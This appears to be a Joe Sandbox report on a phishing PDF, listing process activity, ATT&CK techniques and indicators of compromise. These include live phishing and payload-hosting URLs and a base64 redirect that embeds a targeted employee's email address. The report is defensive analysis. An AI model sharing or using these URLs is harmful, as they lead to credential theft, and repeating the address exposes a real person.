Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1972,i,17045829419568648293,9011026404171363081,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: Employee Plan Selection.pdf	Initial sample: PDF keyword /JS count = 0
Source: Employee Plan Selection.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Employee Plan Selection.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.12..script.csv, type: HTML
Source: Yara match	File source: 1.1.d.script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 3.5.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe

Process information queried: ProcessInformation

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	13 Masquerading	OS Credential Dumping	1 Process Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://86zv.vocalentr.ru/sqFe2cxTSaslUBe28UkjbqSL6ooud7YFvBOactUj9nwxe	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/abmeyb7Y5s4tpqZcd30	0%	Avira URL Cloud	safe
https://tk7bj.kqnsgn.ru/chiriya!ystwcek	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/qrrxC5XXt9tXihoxZpXbYWBnXmtco128lZV84Ui3Hg3yQ9qp5rc2nTvi5X4ef240	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/3JO93Fm/	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/klF6n18UGls3pqNSxcZKRjJfejCUkXekssjpoqrtLwppKCNOVtLHlcZR1McmwHYyz230	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/ijHXwjPZWAifZwQoWJvlxBdIQ1NOWdIcse7Kk8M5Uxy9SNhEMqJVq3snYHPef201	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/lmnbmoPaBXmEDnZDfFrIawgoqOaI0y1O0vA2jy	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/GDSherpa-regular.woff	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/GDSherpa-regular.woff2	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/GDSherpa-vf.woff2	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/opb4fXk2imfZLYfmqbH4zghRkX5rZFJxcMFNg45135	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/wzPPl0tXJi084z9myPdy03491bj6hv8FVzLTwoc	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/favicon.ico	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/stiqgURFurtThFe19QYf1DPD0uLW4UyUYElmnyiQKhoWL0aUBIB0galSowPV36tgh260	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/GDSherpa-vf2.woff2	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/klenvV35bx7eTnT9nHW4RzAycwxxkTQmSV3qVKO756165	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/GDSherpa-bold.woff2	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/GDSherpa-bold.woff	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/56hPzwzVtFlu5QcqHNghXH7AOBj3RTcD89102	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/wxZEJrx51kq8pq2it90HGLYC2dKa4FqrZQTEVGEwOqjL34130	0%	Avira URL Cloud	safe
https://www.amazingasseenontv.com/	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/34pIIpMnrpbm72dd9abFBFlh6720	0%	Avira URL Cloud	safe
https://86zv.vocalentr.ru/mn6VbMxiDEdp67fcXcUJqkhB6U2IKbGkyZLqklsBRRgAuQe0bfWvS6vO378148	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
e329293.dscd.akamaiedge.net	23.209.72.31	true	false	high
e8652.dscx.akamaiedge.net	23.46.224.249	true	false	high
github.com	140.82.113.3	true	false	high
tk7bj.kqnsgn.ru	172.64.80.1	true	false	high
86zv.vocalentr.ru	172.67.210.119	true	false	high
bg.microsoft.map.fastly.net	199.232.90.172	true	false	high
code.jquery.com	151.101.66.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
ffbwk9qf2kkuza6cl8ikqd0hfexzq2uzymwiopyrk4i2kuoolbxronzxw.leokwu.ru	172.67.204.127	true	false	high
get.geojs.io	172.67.70.233	true	false	high
www.google.com	142.250.72.100	true	false	high
d19d360lklgih4.cloudfront.net	18.164.124.110	true	false	high
www.amazingasseenontv.com	104.21.7.124	true	false	unknown
objects.githubusercontent.com	185.199.109.133	true	false	high
x1.i.lencr.org	unknown	unknown	false	high
aadcdn.msauthimages.net	unknown	unknown	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://86zv.vocalentr.ru/ijHXwjPZWAifZwQoWJvlxBdIQ1NOWdIcse7Kk8M5Uxy9SNhEMqJVq3snYHPef201	false	Avira URL Cloud: safe	unknown
https://tk7bj.kqnsgn.ru/chiriya!ystwcek	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/abmeyb7Y5s4tpqZcd30	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
http://x1.i.lencr.org/	false		high
https://86zv.vocalentr.ru/GDSherpa-regular.woff	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/sqFe2cxTSaslUBe28UkjbqSL6ooud7YFvBOactUj9nwxe	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/qrrxC5XXt9tXihoxZpXbYWBnXmtco128lZV84Ui3Hg3yQ9qp5rc2nTvi5X4ef240	false	Avira URL Cloud: safe	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://86zv.vocalentr.ru/3JO93Fm/	true	Avira URL Cloud: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://86zv.vocalentr.ru/lmnbmoPaBXmEDnZDfFrIawgoqOaI0y1O0vA2jy	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: safe	unknown
https://aadcdn.msauthimages.net/81d6b03a-9wsbrvuoosuxh3gdnwlczthphjkydqjsed4eiboga3a/logintenantbranding/0/bannerlogo?ts=638071079891638771	false		high
https://86zv.vocalentr.ru/klF6n18UGls3pqNSxcZKRjJfejCUkXekssjpoqrtLwppKCNOVtLHlcZR1McmwHYyz230	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://86zv.vocalentr.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/3JO93Fm/#Mpaskl@bellpotter.com.au	false		unknown
https://86zv.vocalentr.ru/opb4fXk2imfZLYfmqbH4zghRkX5rZFJxcMFNg45135	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU#	true		unknown
https://www.amazingasseenontv.com/#aHR0cHM6Ly84NnpWLnZvY2FsZW50ci5ydS8zSk85M0ZtLw==/#Mpaskl@bellpotter.com.au	false		unknown
https://86zv.vocalentr.ru/stiqgURFurtThFe19QYf1DPD0uLW4UyUYElmnyiQKhoWL0aUBIB0galSowPV36tgh260	false	Avira URL Cloud: safe	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://86zv.vocalentr.ru/wzPPl0tXJi084z9myPdy03491bj6hv8FVzLTwoc	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/favicon.ico	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/GDSherpa-bold.woff	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/klenvV35bx7eTnT9nHW4RzAycwxxkTQmSV3qVKO756165	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/jfigmpgcjjilkrtg2MCIGDWH6DTCYAA?FDUZUVYKRPOLZNKMKDUXTU	true		unknown
https://a.nel.cloudflare.com/report/v4?s=7HSoKefjIWp4IkkxsMkMF9X5Leuntc8ncNbLOgXYvO0g%2FdwUX1nF51pLYYE4l6HRazUHcqaJ3nC8qyvI85zTY%2FjUAkEw47px8IJmP8gTRPG5AqmkAjuLoGnGg4Sn2KUyxD73	false		high
https://86zv.vocalentr.ru/56hPzwzVtFlu5QcqHNghXH7AOBj3RTcD89102	false	Avira URL Cloud: safe	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://86zv.vocalentr.ru/wxZEJrx51kq8pq2it90HGLYC2dKa4FqrZQTEVGEwOqjL34130	false	Avira URL Cloud: safe	unknown
https://www.amazingasseenontv.com/	false	Avira URL Cloud: safe	unknown
https://a.nel.cloudflare.com/report/v4?s=Hh3asFiW4qj0csbjIDllxLD%2FPpF1QJDvqaVSJA6UneZw1dVePl6LxcPASpCv91WhgmtDl%2FpmTtIciUn5pJvgOM12vGCTk2SjzfA%2B4i3709EbFlVlTqcehRZuTmvXBIEf1RG6	false		high
https://86zv.vocalentr.ru/34pIIpMnrpbm72dd9abFBFlh6720	false	Avira URL Cloud: safe	unknown
https://86zv.vocalentr.ru/mn6VbMxiDEdp67fcXcUJqkhB6U2IKbGkyZLqklsBRRgAuQe0bfWvS6vO378148	false	Avira URL Cloud: safe	unknown
https://aadcdn.msauthimages.net/81d6b03a-9wsbrvuoosuxh3gdnwlczthphjkydqjsed4eiboga3a/logintenantbranding/0/illustration?ts=638071068858086291	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://chrome.cloudflare-dns.com	8269cd83-1a48-490b-a57a-c31666173a4b.tmp.2.dr, e5005040-0564-4b6d-8bc7-13a290fc4a47.tmp.2.dr	false	high
https://www.amazon.com	chromecache_191.4.dr	false	high
https://github.com/fent)	chromecache_187.4.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
140.82.113.3	github.com	United States	36459	GITHUBUS	false
104.26.1.100	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.23.101	unknown	United States	13335	CLOUDFLARENETUS	false
185.199.109.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
142.250.72.100	www.google.com	United States	15169	GOOGLEUS	false
172.64.80.1	tk7bj.kqnsgn.ru	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
23.209.72.31	e329293.dscd.akamaiedge.net	United States	20940	AKAMAI-ASN1EU	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
18.164.124.91	unknown	United States	3	MIT-GATEWAYSUS	false
23.209.72.9	unknown	United States	20940	AKAMAI-ASN1EU	false
104.21.7.124	www.amazingasseenontv.com	United States	13335	CLOUDFLARENETUS	false
172.67.210.119	86zv.vocalentr.ru	United States	13335	CLOUDFLARENETUS	false
172.67.204.127	ffbwk9qf2kkuza6cl8ikqd0hfexzq2uzymwiopyrk4i2kuoolbxronzxw.leokwu.ru	United States	13335	CLOUDFLARENETUS	false
18.164.124.110	d19d360lklgih4.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
172.67.70.233	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
23.46.224.249	e8652.dscx.akamaiedge.net	United States	16625	AKAMAI-ASUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1653405
Start date and time:	2025-04-01 07:38:51 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Employee Plan Selection.pdf
Detection:	MAL
Classification:	mal100.phis.troj.evad.winPDF@39/131@41/19
Cookbook Comments:	Found application associated with file extension: .pdf

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.176.206, 142.250.72.99, 142.250.31.84, 23.51.56.185, 142.251.32.110, 52.6.155.20, 3.233.129.217, 3.219.243.226, 52.22.41.97, 172.64.41.3, 162.159.61.3, 142.250.65.234, 142.250.81.234, 142.251.32.106, 142.251.35.170, 142.251.40.106, 142.251.40.138, 142.251.40.170, 142.250.72.106, 142.250.80.42, 142.250.80.74, 142.250.80.106, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.250.65.170, 142.250.65.202, 199.232.90.172, 23.209.72.175, 23.209.72.136, 142.251.41.3, 142.250.80.78, 23.44.201.33, 4.245.163.56, 104.77.220.172, 23.204.23.20, 20.190.151.70, 23.44.201.26
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, clients2.google.com, redirector.gvt1.com, login.live.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, update.googleapis.com, wu-b-net.trafficmanager.net, www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, armmf.adobe.com, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:39:33	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

QR Codes

Source	URL
Screenshot	https://www.bing.com/ck/a?!&&p=91605fd235fcf04ed888d9660fc773b4df96861700d1163ea175e84ca2c7c6c5JmltdHM9MTc0MzI5MjgwMA&ptn=3&ver=2&hsh=4&fclid=39cc044d-b2f8-6b7c-2c33-11f2b3af6a54&u=a1aHR0cDovL3d3dy5hbWF6aW5nYXNzZWVub250di5jb20v#aHR0cHM6Ly84NnpWLnZvY2FsZW50ci5ydS8zSk85M0ZtLw==/#Mpaskl@bellpotter.com.au

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
140.82.113.3	ThePredictor8.5.7.msi	Get hash	malicious	PureCrypter, AsyncRAT, Clipboard Hijacker, MicroClip	Browse
	https://adclick.g.doubleclick.net/pcs/click?Y41515N2435yMX419snVO7695-2024-McWAN324SCAN&adurl=https://adclick.g.doubleclick.net/pcs/click?Y41515N2435yMX419snVO7695-2024-McWAN324SCAN&adurl=https://2025_tax_compliance_team_x1Update_Tax_Review.fmhjhctk.ru%2FaNAtEaDInodo/#0jensors@unitdr0ad.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Listen_mp3 (1).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	xxrkjufx.exe	Get hash	malicious	NeptuneRAT	Browse
	Logger.exe	Get hash	malicious	Unknown	Browse
	MasonClient.exe	Get hash	malicious	NeptuneRAT	Browse
	x96lib.exe	Get hash	malicious	NeptuneRAT	Browse
	https://www.transfernow.net/dl/20250327nEx48coZ	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	http://url5432.inclusiveguide.com/ls/click?upn=u001.Qh-2BzOqQ65HVxjtnkYhEgqL-2BgbJnQGZNjetn0KUTa8Lg2mAx6Lrd0TPVFFiS-2BqIKlwC0WYgUrgOA1RYq7CU4V8hrNR5dcpTApHRweV-2BJiFcZ6RuQr39TUM0UCil7Dacf4pCiNUa5AE6joYIX8opnM8BWrPTAUo-2BPOPQRr0DjqJaEPLCinGG8HI1nGXLffNoGwISrJdn0eqeqhNklbD8H1dqt4oibBzcYDOt0RSpiZ9HQ-2FblHQCQgqeplCvWbWLgQ0t533w-2BTrWwnD-2B-2FJJ6yU6MA-3D-3D5k5m_-2BfvDFm8rLlMG3DiFVwLpknLlzF6k57p2lxHL4WqtZDphvYTXN2vJNk7tCZhMDgWoW4dk3kvtddA6Vni5UTMWjVEpA1hWQSWy8v-2BRgt3FMHqgdN2IgrLc85UWpQZEXsRzH-2FYdsYncyc5x3IkIy48M2wF5Tc5BVt471BbCid5SclMj3e5DJczUtAu2-2Bq73Qnic8zuZQoexkbW7rFt1nbLNQA-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Epsilon-Setup.exe	Get hash	malicious	NovaSentinel	Browse
185.199.109.133	cr_asm3.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	gabe.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	5UIy3bo46y.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	HQsitBLlOv.dll	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	OSLdZanXNc.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	steamcodegenerator.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
	SecuriteInfo.com.Win64.MalwareX-gen.11827.5130.dll	Get hash	malicious	AsyncRAT, XWorm	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt
104.26.1.100	install.exe	Get hash	malicious	Unknown	Browse	get.geojs.io/v1/ip/geo.json

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
e8652.dscx.akamaiedge.net	AR Care.pdf	Get hash	malicious	Unknown	Browse	23.48.144.248
	mara.roth-Handbook_DocuSign6h0-3958.pdf	Get hash	malicious	Fake Captcha	Browse	23.216.136.238
	email.eml	Get hash	malicious	Unknown	Browse	23.197.253.105
	Petroleum Systems Services Corporation WAV Caller.pdf	Get hash	malicious	HTMLPhisher	Browse	23.216.136.238
	7ivgZ6j7.pdf	Get hash	malicious	Unknown	Browse	23.46.224.249
	Hess Vioce Message.pdf	Get hash	malicious	Unknown	Browse	23.216.136.238
	ATT02683-1.pdf	Get hash	malicious	Unknown	Browse	23.216.136.238
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	23.197.253.105
	https://www.transfernow.net/en/bld?utm_source=20250321oYBy7zgb	Get hash	malicious	HTMLPhisher	Browse	23.216.136.238
	https://app.eraser.io/workspace/ISn1eLCg7dzDBCScfS1e?origin=share	Get hash	malicious	Unknown	Browse	23.216.136.238
bg.microsoft.map.fastly.net	Collector_velociraptor-v0.73.4-windows-amd64.exe	Get hash	malicious	AteraAgent	Browse	151.101.46.172
	WindrivProtect.exe	Get hash	malicious	PureCrypter, AsyncRAT, Clipboard Hijacker, MicroClip	Browse	199.232.214.172
	ThePredictor8.5.7.msi	Get hash	malicious	PureCrypter, AsyncRAT, Clipboard Hijacker, MicroClip	Browse	151.101.46.172
	https://pushman.online/price-page35.html	Get hash	malicious	Unknown	Browse	199.232.38.172
	COTIZACI#U00d3N_23-5_Pdf.vbs	Get hash	malicious	AsyncRAT	Browse	199.232.38.172
	COTIZACI#U00d3N.vbs	Get hash	malicious	AsyncRAT, VenomRAT	Browse	199.232.38.172
	PO223445.xlam.xlsx	Get hash	malicious	Unknown	Browse	199.232.38.172
	ORDER-285663-OO25331.js	Get hash	malicious	WSHRat, AsyncRAT	Browse	199.232.38.172
	AR Care.pdf	Get hash	malicious	Unknown	Browse	199.232.90.172
	R5STYRsz6b.exe	Get hash	malicious	Vanhelsing	Browse	199.232.90.172
github.com	ThePredictor8.5.7.msi	Get hash	malicious	PureCrypter, AsyncRAT, Clipboard Hijacker, MicroClip	Browse	140.82.112.3
	ThePredictor8.5.7.msi	Get hash	malicious	PureCrypter, AsyncRAT, Clipboard Hijacker, MicroClip	Browse	140.82.113.3
	https://adclick.g.doubleclick.net/pcs/click?Y41515N2435yMX419snVO7695-2024-McWAN324SCAN&adurl=https://adclick.g.doubleclick.net/pcs/click?Y41515N2435yMX419snVO7695-2024-McWAN324SCAN&adurl=https://2025_tax_compliance_team_x1Update_Tax_Review.fmhjhctk.ru%2FaNAtEaDInodo/#0jensors@unitdr0ad.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	original (1).eml	Get hash	malicious	unknown, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	Listen_mp3 (1).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.113.3
	Revised - Bcs 2025 Handbook21920.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.112.3
	Bootstrapper.exe	Get hash	malicious	SheetRat	Browse	140.82.114.5
	Bootstrapper.exe	Get hash	malicious	SheetRat	Browse	140.82.113.5
	http://34a.trimarypol.ru/BTzbeX4U/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	140.82.114.4
	RuntimeBroker.exe	Get hash	malicious	Unknown	Browse	140.82.114.4
e329293.dscd.akamaiedge.net	https://rsedis.online/?fvrjsszu=d51be19066e55b8a6064b9e0a3b0572f4b01f273b84fffd0d3341ca42e38f44ce5080783bb2651cabe6d2dea6cc950fb15bbe3875845e12a194a042ee82c07c2	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	https://rsedis.online/?fvrjsszu=d51be19066e55b8a6064b9e0a3b0572f4b01f273b84fffd0d3341ca42e38f44ce5080783bb2651cabe6d2dea6cc950fb15bbe3875845e12a194a042ee82c07c2	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	reseaucctt.ca Contrat.pdf	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	https://netro.gitcombust.shop/	Get hash	malicious	HTMLPhisher	Browse	23.209.72.31
	Listen_mp3 (1).svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	23.209.72.31
	https://get-razzed.online/krc	Get hash	malicious	HTMLPhisher	Browse	23.209.72.9
	https://www.notion.so/loginwithemail?state%3Dv02%253Atemp_password%253AoMxvN1rDtJtCsgmtOezqMfwaMgP0Mi85Ztuq46xjKGwCLHja2k5SSVVFts0UZYrOcRv_CMCqmbA1CScbU-5b-N_gG0m3QbS2OxpSa0yi50-ycbev4dugfPfBEvCTxo9iBUYryzJkxnekptut2ZBzY7DzlNI3EVfOIHa9bfsc9hLlIG7HffWNvxq7rb6S4i3L_9RVB0XX-0_kCGUesHr7CDC0oRMVDAByZYgYcq-_NJYYCFuBxQ%26redirectUrl%3D%252F4a4146f9bfe14aef8476d79d45fc399e%26password%3D738380%26isSignup%3Dfalse%26isMicrosoft%3Dfalse	Get hash	malicious	Unknown	Browse	23.209.72.31
	Petroleum Systems Services Corporation WAV Caller.pdf	Get hash	malicious	HTMLPhisher	Browse	23.209.72.31
